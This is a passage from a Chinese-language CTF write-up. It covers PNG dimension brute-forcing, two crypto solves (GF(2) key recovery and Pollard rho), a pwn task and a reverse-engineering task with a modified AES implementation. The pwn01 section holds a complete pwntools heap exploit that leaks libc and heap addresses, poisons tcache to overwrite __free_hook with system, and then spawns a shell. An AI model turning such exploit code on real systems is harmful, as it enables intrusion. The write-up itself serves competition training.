crc = calculate_crc(b'IHDR' + ihdr_data)
if crc == known_crc:
print("找到匹配的宽高: 宽度 = %d, 高度 = %d" % (w, h))
return w, h

return None, None

# 使用示例
file_path = r'f:/temp/15.png' # 替换为你的 PNG 文件路径
known_crc = 0xd370e9a1 # 替换为你已知的 CRC 值
width, height = brute_force_width_height(file_path, known_crc)
if width and height:
print("实际宽度: %d, 实际高度: %d" % (width, height))实际宽度: 620, 实际高度: 92
或者用 puzzlesolver 爆破宽高
得到一张png,拖到工具直接改宽高。

[随波逐流]CTF编码工具--文件---2进制转16进制


将0320 012C改成026C 005C

右键:导出为hex文件00000254-2.png



wdflag{5fgh576eee739dh7u904bea4860s4eg5}

Crypto
CRYPTO01
解题思路
两个函数,P(x) = P * x,S(x) = A*x +b,
令 ,T = P^{-1}AP, U = P^{-1}b
则r = T{14}x+(T{13}+T{12}+...+I)U+(T{13}+T^{12}+...+I) P^{-1}k
因为flag头“wdflag{”7个字符,所以再爆破1个解上述方程,可得到列表keys,遍历keys后得到flag。
from Crypto.Util.number import *

cipher_text = []
perm_indices = []
BLOCK_SIZE = 64
ROUNDS = 14

# Inverse permutation list
inverse_permutation = [perm_indices.index(i) for i in range(BLOCK_SIZE)]

# Constants for the mask and IV
MASK = 0b1110001001111001000110010000100010101111101100101110100001001001
IV = 7

# Helper functions
binary_to_integer = lambda bits: Integer(sum([bits[i] * 2**i for i in range(len(bits))]))

# Create the permutation matrix
P_matrix = matrix(GF(2), BLOCK_SIZE, BLOCK_SIZE)
for i, perm_index in enumerate(perm_indices):
P_matrix[i, perm_index] = 1

# Permutation function
def permute(x):
bit_x = x.bits()
if len(bit_x) < BLOCK_SIZE:
bit_x.extend([0] * (BLOCK_SIZE - len(bit_x)))
bit_x = P_matrix * vector(GF(2), bit_x)
return binary_to_integer(vector(ZZ, bit_x).list())

# Inverse permutation function
def inverse_permute(x):
bit_x = x.bits()
if len(bit_x) < BLOCK_SIZE:
bit_x.extend([0] * (BLOCK_SIZE - len(bit_x)))
bit_x = P_matrix.inverse() * vector(GF(2), bit_x)
return binary_to_integer(vector(ZZ, bit_x).list())

# Define matrix A and vector b based on IV and MASK
A_matrix = matrix(GF(2), BLOCK_SIZE, BLOCK_SIZE)
for i in range(BLOCK_SIZE):
A_matrix[i, i] = 1
for i in range(BLOCK_SIZE):
j = i - IV
if j >= 0:
A_matrix[i, j] = 1

b_vector = vector(GF(2), BLOCK_SIZE)
for i in range(BLOCK_SIZE):
if (MASK >> i) & 1:
b_vector[i] = 1

# Substitution function
def substitute(x):
bit_x = x.bits()
if len(bit_x) < BLOCK_SIZE:
bit_x.extend([0] * (BLOCK_SIZE - len(bit_x)))
bit_x = vector(GF(2), bit_x)
result = A_matrix * bit_x + b_vector
return binary_to_integer(vector(ZZ, result))

# Define matrix transformations for decryption
T_matrix = P_matrix.inverse() * A_matrix * P_matrix
U_vector = P_matrix.inverse() * b_vector
sum_T_matrix = sum(T_matrix**i for i in range(ROUNDS))

# Key recovery
recovered_keys = []
for i in range(1, 32):
cipher_bits = cipher_text[-1].bits()
while len(cipher_bits) != BLOCK_SIZE:
cipher_bits += [0]
cipher_bits = vector(GF(2), cipher_bits)

message_bytes = bytes([i]) * 8
message_bits = Integer(bytes_to_long(message_bytes)).bits()
while len(message_bits) != BLOCK_SIZE:
message_bits += [0]
message_bits = vector(GF(2), message_bits)

cipher_bits -= T_matrix**ROUNDS * message_bits
cipher_bits -= sum_T_matrix * U_vector
try:
P_inverse_key = sum_T_matrix.solve_right(cipher_bits)
key = P_matrix * P_inverse_key
recovered_key = sum([int(key[j]) * 2**j for j in range(len(key))])
recovered_keys.append(recovered_key)
except:
pass

# Decryption function
def decrypt_block(cipher_block, key):
cipher_bits = cipher_block.bits()
key_bits = key.bits()
while len(cipher_bits) != BLOCK_SIZE:
cipher_bits += [0]
while len(key_bits) != BLOCK_SIZE:
key_bits += [0]
cipher_bits = vector(GF(2), cipher_bits)
key_bits = vector(GF(2), key_bits)

cipher_bits -= sum_T_matrix * P_matrix.inverse() * key_bits
cipher_bits -= sum_T_matrix * U_vector
decrypted_bits = (T_matrix**ROUNDS).inverse() * cipher_bits
message_bytes = long_to_bytes(binary_to_integer(vector(ZZ, decrypted_bits)))
return message_bytes

# Attempt decryption with each recovered key
for key in recovered_keys:
decrypted_message = [decrypt_block(c, key) for c in cipher_text]
flag = b"".join(decrypted_message)
print(flag)CRYPTO02
https://jayxv.github.io/2019/11/11/%E5%AF%86%E7%A0%81%E5%AD%A6%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0%E4%B9%8B%E6%B5%85%E6%9E%90Pollard's%20rho%20algorithm%E5%8F%8A%E5%85%B6%E5%BA%94%E7%94%A8/
根据文章套板子直接打
Exp:
import libnum
from Crypto.Util.number import *
e = 65537
n = 49025724928152491719950645039355675823887062840095001672970308684156817293484070166684235178364916522473822184239221170514602692903302575847326054102901449806271709230774063675539139201327878971370342483682454617270705142999317092151456200639975738970405158598235961567646064089356496022247689989925574384915789399433283855087561428970245448888799812611301566886173165074558800757040196846800189738355799057422298556992606146766063202605288257843684190291545600282197788724944382475099313284546776350595539129553760118549158103804149179701853798084612143809757187033897573787135477889183344944579834942896249251191453
with open("cipher.txt", "rb") as f:
c = f.read()
c = libnum.s2n(c)
def gcd(a, b):
while b:
a, b = b, a%b
return a
def mapx(x):
x=(pow(x,n-1,n)+3)%n
return x
def pollard_rho (x1,x2):
while True:
x1=mapx(x1)
x2=mapx(mapx(x2))
p=gcd(x1-x2,n)
if (p == n):
print("fail")
return
elif (p != 1):
q = n // p
phi = (p - 1) * (q - 1)
d = inverse(e, phi)
print(long_to_bytes(pow(c, d, n)))
break
pollard_rho(1, 1)Pwn
pwn01
Edit存在任意地址写\x00,可以利用堆块错位申请打free_hook为system,free进tcachebin中的堆块会残留出libc_base和堆地址。之后修改fd最后一个字节为\x00触发漏洞,攻击free_hook获取shell
Add show, free,edit三个功能函数,实际上edit只能用一次任意地址写
利用指针残留获得heap_base,libc_base
Edit攻击目标地址-3,完成\x00修改fd位
之后触发tcachebin的整理机制完成tcachebin attack的操作
from pwn import*
from struct import pack
import ctypes
#from LibcSearcher import *
from ae64 import AE64
def bug():
gdb.attach(p)
pause()
def s(a):
p.send(a)
def sa(a,b):
p.sendafter(a,b)
def sl(a):
p.sendline(a)
def sla(a,b):
p.sendlineafter(a,b)
def r(a):
p.recv(a)
#def pr(a):
#print(p.recv(a))
def rl(a):
return p.recvuntil(a)
def inter():
p.interactive()
def get_addr():
return u64(p.recvuntil("\x7f")[-6:].ljust(8,b'\x00'))
def get_addr32():
return u32(p.recvuntil("\xf7")[-4:])
def get_sb():
return libc_base+libc.sym['system'],libc_base+libc.search(b"/bin/sh\x00").__next__()
def get_hook():
return libc_base+libc.sym['__malloc_hook'],libc_base+libc.sym['__free_hook']
li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')


#context(os='linux',arch='i386',log_level='debug')
context(os='linux',arch='amd64',log_level='debug')
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
#libc=ELF('/root/glibc-all-in-one/libs/2.35-0ubuntu3.8_amd64/libc.so.6')
#libc=ELF('/lib/i386-linux-gnu/libc.so.6')
#libc=ELF('libc-2.23.so')
#libc=ELF('/root/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc.so.6')
#libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
elf=ELF('./pwn')
#p=remote('',)
p = process('./pwn')
def add(size,content):
rl("Input your choice")
sl(str(1))
rl("Size :")
sl(str(size))
rl("Content :")
s(content)
def free(i):
rl("Input your choice")
sl(str(2))
rl("Index :")
sl(str(i))
def show(i):
rl("Input your choice")
sl(str(4))
rl("Index :")
sl(str(i))
def edit(content):
rl("Input your choice")
sl(str(3))
rl("content :")
s(content)

add(0x98,b'a')
add(0x98,b'a')
add(0x98,b'a') #2
add(0x410,b'a')
add(0x98,b'a') #4

free(3)
add(0x410,b'a'*8) #5
show(5)
libc_base=get_addr()-2018272
li(hex(libc_base))
free_hook=libc_base+0x1eee48
system=libc_base+0x52290
free(5)

add(0x600,b'a') #6
add(0x410,b'a'*0x10) #7
show(7)
rl("a"*0x10)
heap_base=u64(p.recv(6).ljust(8,b'\x00'))-0x470
li(hex(heap_base))

add(0x140,b'/bin/sh\x00') #8
add(0x98,b'a') #9
add(0xa8,b'a') #10
add(0x98,b'a') #11
add(0xa8,b'a') #12

free(11)
free(0)
free(12)
free(10)
edit(p64(heap_base+0x290+8+5))
add(0x98,b'a')
add(0x98,b'a'*0x38+p64(0xb1)+p64(free_hook))
add(0xa8,b'a')
add(0xa8,p64(system))

free(8)
p.sendline(b"cat flag")
#print(p.recvline())

inter() Reverse
re01
打开so文件,发现JNI_Onload 无法正确F5
在0x00000000001B4E0附近发现了间接跳转, 实际BR X8是跳转到下一条指令,所以这是花指令,直接NOP掉即可。


除开这种指令以外,还发现了这种间接跳转,这也是花指令,需要NOP掉


将上述字节全部替换完后,逆向发现


在init_array中hook了JNI_OnLoad,以及Hook了RegisterNative方法,使真正的native函数为sub_1A9A8












这个函数进行了魔改的AES操作,修改了Sbox。
然后将MixColumn和ShiftRows 交换了顺序
# print(key)
sbox = [0xED, 0xF6, 0xDC, 0x13, 0xA7, 0xB9, 0x3A, 0x75, 0x65, 0x45,
0xA5, 0x9A, 0x1B, 0xC3, 0xE5, 0xAF, 0xBB, 0x6F, 0xAC, 0x69,
0xF5, 0xB0, 0xE7, 0x8D, 0x9C, 0x55, 0x79, 0x24, 0xD5, 0xBD,
0x06, 0xD0, 0xA9, 0x9F, 0x52, 0x10, 0x83, 0x0A, 0x72, 0x19,
0x50, 0xF1, 0x5A, 0x99, 0x32, 0x73, 0x56, 0xCE, 0x2E, 0xD8,
0xCB, 0x07, 0x63, 0xB8, 0xA1, 0x70, 0xF9, 0xE1, 0x3E, 0xCF,
0xEB, 0xC2, 0xB3, 0xE8, 0xA0, 0x7F, 0xE0, 0xFD, 0x4F, 0x31,
0x87, 0xA2, 0x95, 0xAD, 0x47, 0x0F, 0x90, 0x1E, 0x18, 0x86,
0x0E, 0x27, 0x3C, 0x82, 0x1F, 0xFF, 0x17, 0x36, 0xBA, 0xF3,
0xC5, 0x54, 0x96, 0x29, 0x04, 0x2B, 0x67, 0x33, 0x0D, 0x42,
0xE9, 0xF2, 0x44, 0x0B, 0xEA, 0x51, 0xE3, 0x4D, 0xFC, 0x26,
0xC7, 0x7E, 0x74, 0x91, 0xE6, 0x7A, 0xD9, 0x16, 0x30, 0xA8,
0x57, 0x60, 0x8C, 0x21, 0x61, 0x5D, 0x76, 0x2F, 0x03, 0x64,
0xB2, 0xA6, 0x8A, 0x8F, 0xB7, 0xEC, 0x1A, 0x7C, 0x88, 0xAE,
0x39, 0xAA, 0x59, 0x66, 0x6D, 0x2A, 0xFA, 0x4A, 0x40, 0xC8,
0xC0, 0x12, 0x98, 0x4C, 0x85, 0x6A, 0x05, 0x23, 0xDA, 0x43,
0xD3, 0x84, 0x78, 0x3F, 0x6C, 0xD2, 0x6E, 0x68, 0x22, 0x9D,
0xF4, 0x58, 0xB6, 0xA3, 0x62, 0x4E, 0x34, 0xD7, 0xF0, 0x53,
0xB1, 0xC6, 0x77, 0x5F, 0x48, 0x7D, 0x5E, 0x08, 0xE2, 0x71,
0x11, 0xDB, 0xFE, 0x81, 0xCD, 0xF7, 0x15, 0xEF, 0x01, 0x9B,
0x3D, 0x28, 0xB4, 0x38, 0xBC, 0xD6, 0x41, 0x93, 0xDD, 0xBF,
0x09, 0x92, 0xEE, 0xCC, 0xE4, 0x14, 0x8E, 0x5B, 0xBE, 0x7B,
0x5C, 0xAB, 0x37, 0xDF, 0xFB, 0x6B, 0x2D, 0xC1, 0x8B, 0xC9,
0xD1, 0x80, 0x2C, 0x94, 0x00, 0x25, 0x35, 0x4B, 0xD4, 0x3B,
0x49, 0x02, 0xF8, 0xA4, 0x46, 0x1C, 0x89, 0x0C, 0x97, 0xDE,
0x20, 0xCA, 0x9E, 0x1D, 0xC4, 0xB5]
rsbox = [0] * 256
for i in range(256):
rsbox[sbox[i]] = i
print(rsbox)C代码如下:
main.cpp
#include <stdio.h>
#include "aes.hpp"

uint8_t Buf[48] = { };//密文


int main()
{
uint8_t key[16] = {
0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08, 0x09, 0x0A,
0x0B, 0x0C, 0x0D, 0x0E, 0x0F, 0x10 };


AES_ctx aes_ctx;
// AES_init_ctx_iv(&aes_ctx, key, key);
// AES_CBC_encrypt_buffer(&aes_ctx, Buf, 48);
AES_init_ctx_iv(&aes_ctx, key, key);
AES_CBC_decrypt_buffer(&aes_ctx, Buf, 48);

printf("%s\n", Buf);


}AES.cpp
/*

This is an implementation of the AES algorithm, specifically ECB, CTR and CBC mode.
Block size can be chosen in aes.h - available choices are AES128, AES192, AES256.

The implementation is verified against the test vectors in:
National Institute of Standards and Technology Special Publication 800-38A 2001 ED

ECB-AES128
----------

plain-text:
6bc1bee22e409f96e93d7e117393172a
ae2d8a571e03ac9c9eb76fac45af8e51
30c81c46a35ce411e5fbc1191a0a52ef
f69f2445df4f9b17ad2b417be66c3710

key:
2b7e151628aed2a6abf7158809cf4f3c

resulting cipher
3ad77bb40d7a3660a89ecaf32466ef97
f5d3d58503b9699de785895a96fdbaaf
43b1cd7f598ece23881b00e3ed030688
7b0c785e27e8ad3f8223207104725dd4


NOTE: String length must be evenly divisible by 16byte (str_len % 16 == 0)
You should pad the end of the string with zeros if this is not the case.
For AES192/256 the key size is proportionally larger.

*/


/*****************************************************************************/
/* Includes: */
/*****************************************************************************/
#include <string.h> // CBC mode, for memset
#include "aes.h"

#include <stdio.h>

/*****************************************************************************/
/* Defines: */
/*****************************************************************************/
// The number of columns comprising a state in AES. This is a constant in AES. Value=4
#define Nb 4

#if defined(AES256) && (AES256 == 1)
#define Nk 8
#define Nr 14
#elif defined(AES192) && (AES192 == 1)
#define Nk 6
#define Nr 12
#else
#define Nk 4 // The number of 32 bit words in a key.
#define Nr 10 // The number of rounds in AES Cipher.
#endif

// jcallan@github points out that declaring Multiply as a function
// reduces code size considerably with the Keil ARM compiler.
// See this link for more information: https://github.com/kokke/tiny-AES-C/pull/3
#ifndef MULTIPLY_AS_A_FUNCTION
#define MULTIPLY_AS_A_FUNCTION 0
#endif




/*****************************************************************************/
/* Private variables: */
/*****************************************************************************/
// state - array holding the intermediate results during decryption.
typedef uint8_t state_t[4][4];



// The lookup-tables are marked const so they can be placed in read-only storage instead of RAM
// The numbers below can be computed dynamically trading ROM for RAM -
// This can be useful in (embedded) bootloader applications, where ROM is often limited.
static const uint8_t sbox[256] = {
//0 1 2 3 4 5 6 7 8 9 A B C D E F
0xED, 0xF6, 0xDC, 0x13, 0xA7, 0xB9, 0x3A, 0x75, 0x65, 0x45,
0xA5, 0x9A, 0x1B, 0xC3, 0xE5, 0xAF, 0xBB, 0x6F, 0xAC, 0x69,
0xF5, 0xB0, 0xE7, 0x8D, 0x9C, 0x55, 0x79, 0x24, 0xD5, 0xBD,
0x06, 0xD0, 0xA9, 0x9F, 0x52, 0x10, 0x83, 0x0A, 0x72, 0x19,
0x50, 0xF1, 0x5A, 0x99, 0x32, 0x73, 0x56, 0xCE, 0x2E, 0xD8,
0xCB, 0x07, 0x63, 0xB8, 0xA1, 0x70, 0xF9, 0xE1, 0x3E, 0xCF,
0xEB, 0xC2, 0xB3, 0xE8, 0xA0, 0x7F, 0xE0, 0xFD, 0x4F, 0x31,
0x87, 0xA2, 0x95, 0xAD, 0x47, 0x0F, 0x90, 0x1E, 0x18, 0x86,
0x0E, 0x27, 0x3C, 0x82, 0x1F, 0xFF, 0x17, 0x36, 0xBA, 0xF3,
0xC5, 0x54, 0x96, 0x29, 0x04, 0x2B, 0x67, 0x33, 0x0D, 0x42,
0xE9, 0xF2, 0x44, 0x0B, 0xEA, 0x51, 0xE3, 0x4D, 0xFC, 0x26,
0xC7, 0x7E, 0x74, 0x91, 0xE6, 0x7A, 0xD9, 0x16, 0x30, 0xA8,
0x57, 0x60, 0x8C, 0x21, 0x61, 0x5D, 0x76, 0x2F, 0x03, 0x64,
0xB2, 0xA6, 0x8A, 0x8F, 0xB7, 0xEC, 0x1A, 0x7C, 0x88, 0xAE,
0x39, 0xAA, 0x59, 0x66, 0x6D, 0x2A, 0xFA, 0x4A, 0x40, 0xC8,
0xC0, 0x12, 0x98, 0x4C, 0x85, 0x6A, 0x05, 0x23, 0xDA, 0x43,
0xD3, 0x84, 0x78, 0x3F, 0x6C, 0xD2, 0x6E, 0x68, 0x22, 0x9D,
0xF4, 0x58, 0xB6, 0xA3, 0x62, 0x4E, 0x34, 0xD7, 0xF0, 0x53,
0xB1, 0xC6, 0x77, 0x5F, 0x48, 0x7D, 0x5E, 0x08, 0xE2, 0x71,
0x11, 0xDB, 0xFE, 0x81, 0xCD, 0xF7, 0x15, 0xEF, 0x01, 0x9B,
0x3D, 0x28, 0xB4, 0x38, 0xBC, 0xD6, 0x41, 0x93, 0xDD, 0xBF,
0x09, 0x92, 0xEE, 0xCC, 0xE4, 0x14, 0x8E, 0x5B, 0xBE, 0x7B,
0x5C, 0xAB, 0x37, 0xDF, 0xFB, 0x6B, 0x2D, 0xC1, 0x8B, 0xC9,
0xD1, 0x80, 0x2C, 0x94, 0x00, 0x25, 0x35, 0x4B, 0xD4, 0x3B,
0x49, 0x02, 0xF8, 0xA4, 0x46, 0x1C, 0x89, 0x0C, 0x97, 0xDE,
0x20, 0xCA, 0x9E, 0x1D, 0xC4, 0xB5 };

#if (defined(CBC) && CBC == 1) || (defined(ECB) && ECB == 1)
static const uint8_t rsbox[256] = {
234, 198, 241, 128, 94, 156, 30, 51, 187, 210, 37, 103, 247, 98, 80, 75, 35, 190, 151, 3, 215, 196, 117, 86, 78, 39, 136, 12, 245, 253, 77, 84, 250, 123, 168, 157, 27, 235, 109, 81, 201, 93, 145, 95, 232, 226, 48, 127, 118, 69, 44, 97, 176, 236, 87, 222, 203, 140, 6, 239, 82, 200, 58, 163, 148, 206, 99, 159, 102, 9, 244, 74, 184, 240, 147, 237, 153, 107, 175, 68, 40, 105, 34, 179, 91, 25, 46, 120, 171, 142, 42, 217, 220, 125, 186, 183, 121, 124, 174, 52, 129, 8, 143, 96, 167, 19, 155, 225, 164, 144, 166, 17, 55, 189, 38, 45, 112, 7, 126, 182, 162, 26, 115, 219, 137, 185, 111, 65, 231, 193, 83, 36, 161, 154, 79, 70, 138, 246, 132, 228, 122, 23, 216, 133, 76, 113, 211, 207, 233, 72, 92, 248, 152, 43, 11, 199, 24, 169, 252, 33, 64, 54, 71, 173, 243, 10, 131, 4, 119, 32, 141, 221, 18, 73, 139, 15, 21, 180, 130, 62, 202, 255, 172, 134, 53, 5, 88, 16, 204, 29, 218, 209, 150, 227, 61, 13, 254, 90, 181, 110, 149, 229, 251, 50, 213, 194, 47, 59, 31, 230, 165, 160, 238, 28, 205, 177, 49, 116, 158, 191, 2, 208, 249, 223, 66, 57, 188, 106, 214, 14, 114, 22, 63, 100, 104, 60, 135, 0, 212, 197, 178, 41, 101, 89, 170, 20, 1, 195, 242, 56, 146, 224, 108, 67, 192, 85 };
#endif

// The round constant word array, Rcon[i], contains the values given by
// x to the power (i-1) being powers of x (x is denoted as {02}) in the field GF(2^8)
static const uint8_t Rcon[11] = {
0x8d, 0x01, 0x02, 0x04, 0x08, 0x10, 0x20, 0x40, 0x80, 0x1b, 0x36 };

/*
* Jordan Goulder points out in PR #12 (https://github.com/kokke/tiny-AES-C/pull/12),
* that you can remove most of the elements in the Rcon array, because they are unused.
*
* From Wikipedia's article on the Rijndael key schedule @ https://en.wikipedia.org/wiki/Rijndael_key_schedule#Rcon
*
* "Only the first some of these constants are actually used – up to rcon[10] for AES-128 (as 11 round keys are needed),
* up to rcon[8] for AES-192, up to rcon[7] for AES-256. rcon[0] is not used in AES algorithm."
*/


/*****************************************************************************/
/* Private functions: */
/*****************************************************************************/
/*
static uint8_t getSBoxValue(uint8_t num)
{
return sbox[num];
}
*/
#define getSBoxValue(num) (sbox[(num)])

// This function produces Nb(Nr+1) round keys. The round keys are used in each round to decrypt the states.
static void KeyExpansion(uint8_t* RoundKey, const uint8_t* Key)
{
unsigned i, j, k;
uint8_t tempa[4]; // Used for the column/row operations

// The first round key is the key itself.
for (i = 0; i < Nk; ++i)
{
RoundKey[(i * 4) + 0] = Key[(i * 4) + 0];
RoundKey[(i * 4) + 1] = Key[(i * 4) + 1];
RoundKey[(i * 4) + 2] = Key[(i * 4) + 2];
RoundKey[(i * 4) + 3] = Key[(i * 4) + 3];
}

// All other round keys are found from the previous round keys.
for (i = Nk; i < Nb * (Nr + 1); ++i)
{
{
k = (i - 1) * 4;
tempa[0]=RoundKey[k + 0];
tempa[1]=RoundKey[k + 1];
tempa[2]=RoundKey[k + 2];
tempa[3]=RoundKey[k + 3];

}

if (i % Nk == 0)
{
// This function shifts the 4 bytes in a word to the left once.
// [a0,a1,a2,a3] becomes [a1,a2,a3,a0]

// Function RotWord()
{
const uint8_t u8tmp = tempa[0];
tempa[0] = tempa[1];
tempa[1] = tempa[2];
tempa[2] = tempa[3];
tempa[3] = u8tmp;
}

// SubWord() is a function that takes a four-byte input word and
// applies the S-box to each of the four bytes to produce an output word.

// Function Subword()
{
tempa[0] = getSBoxValue(tempa[0]);
tempa[1] = getSBoxValue(tempa[1]);
tempa[2] = getSBoxValue(tempa[2]);
tempa[3] = getSBoxValue(tempa[3]);
}

tempa[0] = tempa[0] ^ Rcon[i/Nk];
}
#if defined(AES256) && (AES256 == 1)
if (i % Nk == 4)
{
// Function Subword()
{
tempa[0] = getSBoxValue(tempa[0]);
tempa[1] = getSBoxValue(tempa[1]);
tempa[2] = getSBoxValue(tempa[2]);
tempa[3] = getSBoxValue(tempa[3]);
}
}
#endif
j = i * 4; k=(i - Nk) * 4;
RoundKey[j + 0] = RoundKey[k + 0] ^ tempa[0];
RoundKey[j + 1] = RoundKey[k + 1] ^ tempa[1];
RoundKey[j + 2] = RoundKey[k + 2] ^ tempa[2];
RoundKey[j + 3] = RoundKey[k + 3] ^ tempa[3];
}
}

void AES_init_ctx(struct AES_ctx* ctx, const uint8_t* key)
{
KeyExpansion(ctx->RoundKey, key);
}
#if (defined(CBC) && (CBC == 1)) || (defined(CTR) && (CTR == 1))
void AES_init_ctx_iv(struct AES_ctx* ctx, const uint8_t* key, const uint8_t* iv)
{
KeyExpansion(ctx->RoundKey, key);
memcpy (ctx->Iv, iv, AES_BLOCKLEN);
}
void AES_ctx_set_iv(struct AES_ctx* ctx, const uint8_t* iv)
{
memcpy (ctx->Iv, iv, AES_BLOCKLEN);
}
#endif

// This function adds the round key to state.
// The round key is added to the state by an XOR function.
static void AddRoundKey(uint8_t round, state_t* state, const uint8_t* RoundKey)
{
uint8_t i,j;
for (i = 0; i < 4; ++i)
{
for (j = 0; j < 4; ++j)
{
(*state)[i][j] ^= RoundKey[(round * Nb * 4) + (i * Nb) + j];
}
}
}

// The SubBytes Function Substitutes the values in the
// state matrix with values in an S-box.
static void SubBytes(state_t* state)
{
uint8_t i, j;
for (i = 0; i < 4; ++i)
{
for (j = 0; j < 4; ++j)
{
(*state)[j][i] = getSBoxValue((*state)[j][i]);
}
}
}

// The ShiftRows() function shifts the rows in the state to the left.
// Each row is shifted with different offset.
// Offset = Row number. So the first row is not shifted.
static void ShiftRows(state_t* state)
{
uint8_t temp;

// Rotate first row 1 columns to left
temp = (*state)[0][1];
(*state)[0][1] = (*state)[1][1];
(*state)[1][1] = (*state)[2][1];
(*state)[2][1] = (*state)[3][1];
(*state)[3][1] = temp;

// Rotate second row 2 columns to left
temp = (*state)[0][2];
(*state)[0][2] = (*state)[2][2];
(*state)[2][2] = temp;

temp = (*state)[1][2];
(*state)[1][2] = (*state)[3][2];
(*state)[3][2] = temp;

// Rotate third row 3 columns to left
temp = (*state)[0][3];
(*state)[0][3] = (*state)[3][3];
(*state)[3][3] = (*state)[2][3];
(*state)[2][3] = (*state)[1][3];
(*state)[1][3] = temp;
}

static uint8_t xtime(uint8_t x)
{
return ((x<<1) ^ (((x>>7) & 1) * 0x1b));
}

// MixColumns function mixes the columns of the state matrix
static void MixColumns(state_t* state)
{
uint8_t i;
uint8_t Tmp, Tm, t;
for (i = 0; i < 4; ++i)
{
t = (*state)[i][0];
Tmp = (*state)[i][0] ^ (*state)[i][1] ^ (*state)[i][2] ^ (*state)[i][3] ;
Tm = (*state)[i][0] ^ (*state)[i][1] ; Tm = xtime(Tm); (*state)[i][0] ^= Tm ^ Tmp ;
Tm = (*state)[i][1] ^ (*state)[i][2] ; Tm = xtime(Tm); (*state)[i][1] ^= Tm ^ Tmp ;
Tm = (*state)[i][2] ^ (*state)[i][3] ; Tm = xtime(Tm); (*state)[i][2] ^= Tm ^ Tmp ;
Tm = (*state)[i][3] ^ t ; Tm = xtime(Tm); (*state)[i][3] ^= Tm ^ Tmp ;
}
}

// Multiply is used to multiply numbers in the field GF(2^8)
// Note: The last call to xtime() is unneeded, but often ends up generating a smaller binary
// The compiler seems to be able to vectorize the operation better this way.
// See https://github.com/kokke/tiny-AES-c/pull/34
#if MULTIPLY_AS_A_FUNCTION
static uint8_t Multiply(uint8_t x, uint8_t y)
{
return (((y & 1) * x) ^
((y>>1 & 1) * xtime(x)) ^
((y>>2 & 1) * xtime(xtime(x))) ^
((y>>3 & 1) * xtime(xtime(xtime(x)))) ^
((y>>4 & 1) * xtime(xtime(xtime(xtime(x)))))); /* this last call to xtime() can be omitted */
}
#else
#define Multiply(x, y) \
( ((y & 1) * x) ^ \
((y>>1 & 1) * xtime(x)) ^ \
((y>>2 & 1) * xtime(xtime(x))) ^ \
((y>>3 & 1) * xtime(xtime(xtime(x)))) ^ \
((y>>4 & 1) * xtime(xtime(xtime(xtime(x)))))) \

#endif

#if (defined(CBC) && CBC == 1) || (defined(ECB) && ECB == 1)
/*
static uint8_t getSBoxInvert(uint8_t num)
{
return rsbox[num];
}
*/
#define getSBoxInvert(num) (rsbox[(num)])

// MixColumns function mixes the columns of the state matrix.
// The method used to multiply may be difficult to understand for the inexperienced.
// Please use the references to gain more information.
static void InvMixColumns(state_t* state)
{
int i;
uint8_t a, b, c, d;
for (i = 0; i < 4; ++i)
{
a = (*state)[i][0];
b = (*state)[i][1];
c = (*state)[i][2];
d = (*state)[i][3];

(*state)[i][0] = Multiply(a, 0x0e) ^ Multiply(b, 0x0b) ^ Multiply(c, 0x0d) ^ Multiply(d, 0x09);
(*state)[i][1] = Multiply(a, 0x09) ^ Multiply(b, 0x0e) ^ Multiply(c, 0x0b) ^ Multiply(d, 0x0d);
(*state)[i][2] = Multiply(a, 0x0d) ^ Multiply(b, 0x09) ^ Multiply(c, 0x0e) ^ Multiply(d, 0x0b);
(*state)[i][3] = Multiply(a, 0x0b) ^ Multiply(b, 0x0d) ^ Multiply(c, 0x09) ^ Multiply(d, 0x0e);
}
}


// The SubBytes Function Substitutes the values in the
// state matrix with values in an S-box.
static void InvSubBytes(state_t* state)
{
uint8_t i, j;
for (i = 0; i < 4; ++i)
{
for (j = 0; j < 4; ++j)
{
(*state)[j][i] = getSBoxInvert((*state)[j][i]);
}
}
}

static void InvShiftRows(state_t* state)
{
uint8_t temp;

// Rotate first row 1 columns to right
temp = (*state)[3][1];
(*state)[3][1] = (*state)[2][1];
(*state)[2][1] = (*state)[1][1];
(*state)[1][1] = (*state)[0][1];
(*state)[0][1] = temp;

// Rotate second row 2 columns to right
temp = (*state)[0][2];
(*state)[0][2] = (*state)[2][2];
(*state)[2][2] = temp;

temp = (*state)[1][2];
(*state)[1][2] = (*state)[3][2];
(*state)[3][2] = temp;

// Rotate third row 3 columns to right
temp = (*state)[0][3];
(*state)[0][3] = (*state)[1][3];
(*state)[1][3] = (*state)[2][3];
(*state)[2][3] = (*state)[3][3];
(*state)[3][3] = temp;
}
#endif // #if (defined(CBC) && CBC == 1) || (defined(ECB) && ECB == 1)

// Cipher is the main function that encrypts the PlainText.
static void Cipher(state_t* state, const uint8_t* RoundKey)
{
uint8_t round = 0;

// Add the First round key to the state before starting the rounds.
AddRoundKey(0, state, RoundKey);

// There will be Nr rounds.
// The first Nr-1 rounds are identical.
// These Nr rounds are executed in the loop below.
// Last one without MixColumns()
for (round = 1; round < 10 ; ++round)
{
SubBytes(state);
MixColumns(state);
ShiftRows(state);
AddRoundKey(round, state, RoundKey);
}
// Add round key to last round
SubBytes(state);
ShiftRows(state);

AddRoundKey(Nr, state, RoundKey);
}

#if (defined(CBC) && CBC == 1) || (defined(ECB) && ECB == 1)
static void InvCipher(state_t* state, const uint8_t* RoundKey)
{
uint8_t round = 0;

// Add the First round key to the state before starting the rounds.
AddRoundKey(Nr, state, RoundKey);

// There will be Nr rounds.
// The first Nr-1 rounds are identical.
// These Nr rounds are executed in the loop below.
// Last one without InvMixColumn()
InvShiftRows(state);
InvSubBytes(state);

for (round = (Nr - 1);round > 0; --round)
{
printf("%d\n", round);

AddRoundKey(round, state, RoundKey);

InvShiftRows(state);
InvMixColumns(state);
InvSubBytes(state);

}
AddRoundKey(0, state, RoundKey);

}
#endif // #if (defined(CBC) && CBC == 1) || (defined(ECB) && ECB == 1)

/*****************************************************************************/
/* Public functions: */
/*****************************************************************************/
#if defined(ECB) && (ECB == 1)


void AES_ECB_encrypt(const struct AES_ctx* ctx, uint8_t* buf)
{
// The next function call encrypts the PlainText with the Key using AES algorithm.
Cipher((state_t*)buf, ctx->RoundKey);
}

void AES_ECB_decrypt(const struct AES_ctx* ctx, uint8_t* buf)
{
